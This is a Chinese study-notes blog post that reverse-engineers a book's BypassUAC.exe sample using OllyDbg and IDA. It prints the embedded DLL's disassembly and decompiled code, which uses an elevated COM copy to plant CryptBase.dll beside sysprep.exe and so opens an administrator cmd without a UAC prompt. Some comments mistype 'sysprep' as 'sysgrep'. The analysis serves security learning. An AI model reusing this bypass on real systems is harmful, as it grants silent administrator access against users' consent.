[系统安全]《黑客免杀攻防》MFC逆向基础实战

本文为笔者从零基础学习系统安全相关内容的笔记,如果您对系统安全、逆向分析等内容感兴趣或者想要了解一些内容,欢迎关注。本系列文章将会随着笔者在未来三年的读研过程中持续更新,由于笔者现阶段还处于初学阶段,不可避免参照复现各类书籍内容,如书籍作者认为侵权请告知,笔者将立刻删除。强调本系列所有内容仅作为学习研究使用,作者对此文章中的代码造成的任何后果不负法律责任。

前文链接
[系统安全] PE文件格式详解1
[系统安全] PE文件格式详解2
[系统安全] Windbg Preview调试记录


文章目录

  • 前驱知识点总结
  • 逆向实战BypassUAC.exe程序

前驱知识点总结

用户帐户控制(User Account Control,简写作UAC) 是微软公司在其
Windows Vista及更高版本操作系统中采用的一种控制机制。
其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,
以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

微软基础类库(Microsoft Foundation Classes,简称MFC)
是微软公司提供的一个类库,以C++类的形式封装了Windows API,
并且包含一个应用程序框架,以减少应用程序开发人员的工作量。
其中包含大量Windows句柄封装类和很多Windows的内建控件和组件的封装类。

MFC调用特征总结

版本 对应动态库 静态库中使用MFC特征 动态库使用MFC特征
4.0 mfc40.dll call [ebp+0x14] call [ebp+0x14]
6.0 mfc42.dll call [ebp+0x14] call [ebp+0x14]
7.1 mfc71.dll call [ebp+0x14] call [ebp+0x14]
10.0 mfc100.dll call [ebp+0x14] mov edx, [ebp+0x14]

对于MFC程序的逆向,分为以下步骤

OllyDbg打开程序,按图标e打开模块窗口
if(查找到mfc*.dll){
	判断MFC版本
	if(找不到版本信息){
		可能是在静态库中使用MFC,或者不是MFC程序
	}
}


if(动态库中使用MFC){
	双击对应动态库,转到响应代码起始位置,ctrl+f搜索特征
}else if(静态库中使用MFC){
	在起始位置搜索特征
}

逆向实战BypassUAC.exe程序

分析的例子是黑客免杀攻防书里一个由MFC编写的名为BypassUAC.exe程序,
此程序的功能是不触发UAC情况下打开管理员权限的命令行。功能效果如下图,接下来进行分析。
[系统安全]《黑客免杀攻防》MFC逆向基础实战_第1张图片
载入OD,打开模块窗口,如下所示
[系统安全]《黑客免杀攻防》MFC逆向基础实战_第2张图片
没有发现MFC动态加载库文件,判断可能是静态调用MFC或者不是MFC程序

搜索特征call [ebp+0x14],由于这个特征位于mfc框架里的消息分发函数里,所以处在一个很大的switch-case中。
上面的jmp dword ptr ds:[eax*4+1368c62]就是典型的处理复杂switch-case语句特征。
[系统安全]《黑客免杀攻防》MFC逆向基础实战_第3张图片
书上说单击按钮的值是0x39,设置断点跟进后发现调用了两个函数,获取当前模块的句柄,调用RemoteLoadDllByResource函数

[系统安全]《黑客免杀攻防》MFC逆向基础实战_第4张图片
参数explorer.exe则是远程加载dll文件的宿主名,SHELL_CODE则是资源名。

使用LordPE打开文件
[系统安全]《黑客免杀攻防》MFC逆向基础实战_第5张图片
dump下来保存为dll格式文件,然后用IDA打开

.text:10001000 ; =============== S U B R O U T I N E =======================================
.text:10001000
.text:10001000 ; Attributes: bp-based frame
.text:10001000
.text:10001000 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
.text:10001000 _DllMain@12     proc near               ; CODE XREF: ___DllMainCRTStartup+75↓p
.text:10001000                                         ; ___DllMainCRTStartup+89↓p
.text:10001000
.text:10001000 NumberOfBytesWritten= dword ptr -828h
.text:10001000 Buffer          = word ptr -824h
.text:10001000 Dst             = byte ptr -822h
.text:10001000 var_61C         = word ptr -61Ch
.text:10001000 var_61A         = byte ptr -61Ah
.text:10001000 Src             = word ptr -414h
.text:10001000 var_412         = byte ptr -412h
.text:10001000 TempFileName    = word ptr -20Ch
.text:10001000 var_20A         = byte ptr -20Ah
.text:10001000 var_4           = dword ptr -4
.text:10001000 hinstDLL        = dword ptr  8
.text:10001000 fdwReason       = dword ptr  0Ch
.text:10001000 lpvReserved     = dword ptr  10h
.text:10001000
.text:10001000                 push    ebp
.text:10001001                 mov     ebp, esp
.text:10001003                 sub     esp, 828h
.text:10001009                 mov     eax, ___security_cookie
.text:1000100E                 xor     eax, ebp
.text:10001010                 mov     [ebp+var_4], eax
.text:10001013                 mov     eax, [ebp+fdwReason]
.text:10001016                 dec     eax
.text:10001017                 push    edi
.text:10001018                 mov     edi, [ebp+hinstDLL]
.text:1000101B                 jnz     loc_100011E7
.text:10001021                 push    esi
.text:10001022                 push    offset Type     ; "BIN_DLL"
.text:10001027                 push    65h             ; lpName
.text:10001029                 push    edi             ; hModule
.text:1000102A                 call    ds:FindResourceW ; //FindResourceW(hModule, lpName, "BIN_DLL")
.text:10001030                 mov     esi, eax
.text:10001032                 test    esi, esi
.text:10001034                 jz      loc_100011E6    ; //如果返回值为0,则跳转到末尾附近
.text:1000103A                 push    esi             ; hResInfo
.text:1000103B                 push    edi             ; hModule
.text:1000103C                 call    ds:LoadResource ; //LoadResource(hModule, hResInfo)
.text:10001042                 test    eax, eax
.text:10001044                 jz      loc_100011E6    ; //如果返回值为0,则跳转到函数结尾附近
.text:1000104A                 push    ebx
.text:1000104B                 push    eax             ; hResData   //注意这里有些问题,跟参考书上分析的代码对不起来
.text:1000104C                 call    ds:LockResource
.text:10001052                 mov     ebx, eax
.text:10001054                 test    ebx, ebx
.text:10001056                 jz      loc_100011E5
.text:1000105C                 push    esi             ; hResInfo
.text:1000105D                 push    edi             ; hModule
.text:1000105E                 call    ds:SizeofResource
.text:10001064                 mov     edi, eax
.text:10001066                 test    edi, edi
.text:10001068                 jz      loc_100011E5
.text:1000106E                 xor     eax, eax
-------------------------------------------------------------
HRSRC hResInfo;
HGLOBAL hResData;
LPVOID lpData;
DwORD dwFilesize;
hResInfo=FindResourceW(hModule,lpName,"BIN_DLL")
if (hResInfo==NULL)
	return;
hResData=LoadResource(hModule,hResInfo)
if(hResData==NULL)
	return;
lpData=LockResource(hModule,hResData)
if (lpData==NULL)
	return;
dwFilesize=sizeofResource( hModule,hResInfo)
if (dwFilesize==NULL)
	return;
到此得出结论我们dump下来的这个dll还会加载BIN_DLL动态库文件
-------------------------------------------------------------
.text:10001070                 push    206h            ; Size
.text:10001075                 push    eax             ; Val
.text:10001076                 lea     ecx, [ebp+Dst]
.text:1000107C                 push    ecx             ; Dst
.text:1000107D                 mov     [ebp+NumberOfBytesWritten], 0
.text:10001087                 mov     [ebp+Buffer], ax
.text:1000108E                 call    memset
.text:10001093                 xor     edx, edx
.text:10001095                 push    206h            ; Size
.text:1000109A                 push    edx             ; Val
.text:1000109B                 lea     eax, [ebp+var_20A]
.text:100010A1                 push    eax             ; Dst
.text:100010A2                 mov     [ebp+TempFileName], dx
.text:100010A9                 call    memset
.text:100010AE                 add     esp, 18h
.text:100010B1                 lea     ecx, [ebp+Buffer]
.text:100010B7                 push    ecx             ; lpBuffer
.text:100010B8                 push    104h            ; nBufferLength
.text:100010BD                 call    ds:GetTempPathW    ;//GetTempPathW(nBufferLength, lpBuffer)
.text:100010C3                 test    eax, eax
.text:100010C5                 jz      loc_100011E5     ;//如果返回值为0,跳转到函数末尾处
.text:100010CB                 lea     edx, [ebp+TempFileName]
.text:100010D1                 push    edx             ; lpTempFileName
.text:100010D2                 push    0               ; uUnique
.text:100010D4                 push    offset PrefixString ; "A1_"
.text:100010D9                 lea     eax, [ebp+Buffer]
.text:100010DF                 push    eax             ; lpPathName ;//lpPathName=GetTempPathW(nBufferLength, lpBuffer)
.text:100010E0                 call    ds:GetTempFileNameW  ;//GetTempFileNameW(lpPathName, "A1_", uUnique, lpTempFileName)
.text:100010E6                 test    eax, eax
.text:100010E8                 jz      loc_100011E5     ;//如果返回值为0,跳转到函数末尾处
.text:100010EE                 push    0               ; hTemplateFile
.text:100010F0                 push    80h             ; dwFlagsAndAttributes
.text:100010F5                 push    2               ; dwCreationDisposition
.text:100010F7                 push    0               ; lpSecurityAttributes
.text:100010F9                 push    0               ; dwShareMode
.text:100010FB                 push    40000000h       ; dwDesiredAccess
.text:10001100                 lea     ecx, [ebp+TempFileName]
.text:10001106                 push    ecx             ; lpFileName
.text:10001107                 call    ds:CreateFileW   ;//CreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile)
.text:1000110D                 mov     esi, eax
.text:1000110F                 cmp     esi, 0FFFFFFFFh
.text:10001112                 jz      loc_100011E5 //返回值为-1时跳转到函数末尾处
.text:10001118                 push    0               ; lpOverlapped
.text:1000111A                 lea     edx, [ebp+NumberOfBytesWritten]
.text:10001120                 push    edx             ; lpNumberOfBytesWritten
.text:10001121                 push    edi             ; nNumberOfBytesToWrite
.text:10001122                 push    ebx             ; lpBuffer
.text:10001123                 push    esi             ; hFile  ;//hFile=CreateFileW(...)
.text:10001124                 call    ds:WriteFile ;//WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped)
.text:1000112A                 test    eax, eax
.text:1000112C                 jz      loc_100011E5 ;//如果返回值为0,跳转到函数末尾处
.text:10001132                 push    esi             ; hObject(就是hFile)
.text:10001133                 call    ds:CloseHandle   ;//CloseHandle(hObject)
.text:10001139                 xor     eax, eax
-------------------------------------------------------------
以上代码是在此dll中读出一段数据,保存在系统的临时目录中,
文件名是一个A1_开头临时文件
-------------------------------------------------------------
.text:1000113B                 push    206h            ; Size
.text:10001140                 push    eax             ; Val
.text:10001141                 lea     ecx, [ebp+var_412]
.text:10001147                 push    ecx             ; Dst
.text:10001148                 mov     [ebp+Src], ax
.text:1000114F                 call    memset
.text:10001154                 xor     edx, edx
.text:10001156                 push    206h            ; Size
.text:1000115B                 push    edx             ; Val
.text:1000115C                 lea     eax, [ebp+var_61A]
.text:10001162                 push    eax             ; Dst
.text:10001163                 mov     [ebp+var_61C], dx
.text:1000116A                 call    memset
.text:1000116F                 add     esp, 18h

.text:10001172                 push    104h            ; uSize
.text:10001177                 lea     ecx, [ebp+Src]
.text:1000117D                 push    ecx             ; lpBuffer
.text:1000117E                 call    ds:GetSystemDirectoryW   ;//GetSystemDirectoryW(lpBuffer, uSize)
.text:10001184                 test    eax, eax
.text:10001186                 jz      short loc_100011D8   //如果返回值为0,跳转到末尾附近
.text:10001188                 push    104h            ; MaxCount
.text:1000118D                 lea     edx, [ebp+Src]
.text:10001193                 push    edx             ; Src
.text:10001194                 lea     eax, [ebp+var_61C]
.text:1000119A                 push    104h            ; SizeInWords
.text:1000119F                 push    eax             ; Dst
.text:100011A0                 call    ds:wcsncpy_s ;//wcsncpy_s(Dst, SizeInWords, Src, MaxCount)
.text:100011A6                 push    offset Src      ; "\\cmd.exe"
.text:100011AB                 lea     ecx, [ebp+var_61C]
.text:100011B1                 push    104h            ; SizeInWords
.text:100011B6                 push    ecx             ; Dst
.text:100011B7                 call    ds:wcscat_s  ;//wcscat_s(Dst[[ebp+var_61C]], SizeInWords, "\\cmd.exe")
.text:100011BD                 add     esp, 1Ch
-------------------------------------------------------------
获取cmd.exe完整路径保存到[ebp+var_61C]
-------------------------------------------------------------
.text:100011C0                 lea     edx, [ebp+TempFileName]
.text:100011C6                 push    edx
.text:100011C7                 lea     edx, [ebp+Src]
.text:100011CD                 lea     ecx, [ebp+var_61C]
.text:100011D3                 call    sub_10001200 ;//sub_10001200([ebp+TempFileName]),肯定也用到[ebp+Src][ebp+var_61C]
.text:100011D8
.text:100011D8 loc_100011D8:                           ; CODE XREF: DllMain(x,x,x)+186↑j
.text:100011D8                 lea     eax, [ebp+TempFileName]
.text:100011DE                 push    eax             ; lpFileName
.text:100011DF                 call    ds:DeleteFileW   ;//DeleteFileW(lpFileName)
.text:100011E5
.text:100011E5 loc_100011E5:                           ; CODE XREF: DllMain(x,x,x)+56↑j
.text:100011E5                                         ; DllMain(x,x,x)+68↑j ...
.text:100011E5                 pop     ebx
.text:100011E6
.text:100011E6 loc_100011E6:                           ; CODE XREF: DllMain(x,x,x)+34↑j
.text:100011E6                                         ; DllMain(x,x,x)+44↑j
.text:100011E6                 pop     esi
.text:100011E7
.text:100011E7 loc_100011E7:                           ; CODE XREF: DllMain(x,x,x)+1B↑j
.text:100011E7                 mov     ecx, [ebp+var_4]
.text:100011EA                 xor     ecx, ebp
.text:100011EC                 mov     eax, 1
.text:100011F1                 pop     edi
.text:100011F2                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:100011F7                 mov     esp, ebp
.text:100011F9                 pop     ebp
.text:100011FA                 retn    0Ch
.text:100011FA _DllMain@12     endp
.text:100011FA
.text:100011FA ; ---------------------------------------------------------------------------
.text:100011FD                 align 10h

将当前dll资源中的数据保存在临时目录下的FileName中,
然后获取cmd.exe文件完整路径,再将FileName作为参数传入sub_10001200中,
函数执行完后删除临时目录中的FileName文件。

下面查看sub_10001200函数

char __fastcall sub_10001200(int a1, int a2, int a3)
{
  .........

  if ( GetSystemDirectoryW(&Buffer, 0x104u) )   //获取系统目录到Buffer
  {
    wcscat_s(&Buffer, 0x104u, L"\\sysprep");
    wcsncpy_s(&v22, 0x104u, &Buffer, 0x104u);
    wcscat_s(&v22, 0x104u, L"\\sysprep.exe");
    wcsncpy_s(&v20, 0x104u, &Buffer, 0x104u);
    wcscat_s(&v20, 0x104u, L"\\sysprep.dll");
  }
  //Buffer = "系统目录\\sysgrep"
  //v22 = "系统目录\\sysgrep\\sysgrep.exe"
  //v20 = "系统目录\\sysgrep\\sysgrep.dll"
  //sysgrep.exe是windows下系统准备工具,可以执行系统封装或磁盘复制等操作
  //sysgrep.exe与sysgrep.dll正常情况下不在一个目录下,如果我们在exe同目录下准备一个dll的话就会首先使用我们准备的dll文件

  if ( CoInitialize(0)
    || CoGetObject(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}", &pBindOptions, &riid, &ppv)
    || !ppv
    || (*(int (__stdcall **)(void *, signed int))(*(_DWORD *)ppv + 20))(ppv, 277086228)
    || SHCreateItemFromParsingName(v7, 0, &unk_10002268, &v10)
    || !v10
    || SHCreateItemFromParsingName(&Buffer, 0, &unk_10002268, &v8)
    || !v8
    || (*(int (__stdcall **)(void *, int, int, const wchar_t *, _DWORD))(*(_DWORD *)ppv + 64))(
         ppv, v10, v8, L"CryptBase.dll", 0)
    || (*(int (__stdcall **)(void *))(*(_DWORD *)ppv + 84))(ppv) )
  {
    return 0;
  }
    //SHCreateItemFromParsingName是从解析的路径名中创建并初始化一个shell对象,
    //v7就是当前函数的第三个参数
  memset(&pExecInfo, 0, 0x3Cu);
  pExecInfo.lpFile = &v22;  //v22 = "系统目录\\sysgrep\\sysgrep.exe"
  pExecInfo.cbSize = 60;
  pExecInfo.fMask = 64;
  pExecInfo.lpParameters = &v18;
  pExecInfo.lpDirectory = &Buffer;
  pExecInfo.nShow = 5;
  if ( ShellExecuteExW(&pExecInfo) && pExecInfo.hProcess )
  {
    WaitForSingleObject(pExecInfo.hProcess, 0xFFFFFFFF);
    CloseHandle(pExecInfo.hProcess);
  }
  if ( SHCreateItemFromParsingName(&v20, 0, &unk_10002268, &v9) || !v9 )
    return 0;
  if ( !(*(int (__stdcall **)(void *, int, _DWORD))(*(_DWORD *)ppv + 72))(ppv, v9, 0) )
    (*(void (__stdcall **)(void *))(*(_DWORD *)ppv + 84))(ppv);
  if ( v9 )
    (*(void (__stdcall **)(int))(*(_DWORD *)v9 + 8))(v9);
  if ( v8 )
    (*(void (__stdcall **)(int))(*(_DWORD *)v8 + 8))(v8);
  if ( v10 )
    (*(void (__stdcall **)(int))(*(_DWORD *)v10 + 8))(v10);
  if ( ppv )
    (*(void (__stdcall **)(void *))(*(_DWORD *)ppv + 8))(ppv);
  CoUninitialize();
  return 1;
}

ShellExecuteExW运行一个外部可执行文件,也就是上面准备好的sysgrep.exe而sysgrep.dll被程序劫持,换成自己的dll文件,在此文件中以管理员身份运行了cmd。

你可能感兴趣的:(系统安全,系统安全,mfc,安全)